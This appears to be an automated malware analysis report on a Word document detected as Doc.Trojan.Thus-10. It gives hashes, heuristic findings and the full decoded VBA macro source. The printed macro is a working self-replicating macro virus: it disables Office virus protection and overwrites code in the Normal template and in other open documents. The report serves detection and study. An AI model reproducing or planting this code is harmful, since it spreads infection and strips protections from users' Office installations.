Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d8c083f22530b030…

MALICIOUS

Office (OLE)

35.0 KB Created: 1997-09-17 08:18:00 Authoring application: Microsoft Word 9.0 First seen: 2012-09-24
MD5: c02ae254ad4e9f645121b35ffc77f7c9 SHA-1: 8c666e644c6a0b43577f9118d457b39842b9170b SHA-256: d8c083f22530b0308e6c41ad7f52ec4dbe784b882db8058cbad0ace741a16493
208 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Application.Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2282 bytes
SHA-256: d56927b203a1d516462a6584da61ec6240d65415b3c4d80163d1b6f940b3291d
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'AVA_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'AVA_001'" Then
      NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
      .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
      .CodeModule.CountOfLines + 100
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
  
  H
End Sub
Private Sub T()
  Application.OnTime When:=Now + TimeValue("00:00:05"), Name:="normal.ThisDocument.H"
End Sub
Private Sub H()
  T1
End Sub
Private Sub T1()
  'Normal.ThisDocument.H
  Application.OnTime When:=Now, Name:="normal.ThisDocument.T"
End Sub
Private Sub Document_Close()
  On Error Resume Next
  For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'AVA_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
      Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
      .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
      .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
      .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
  Next k
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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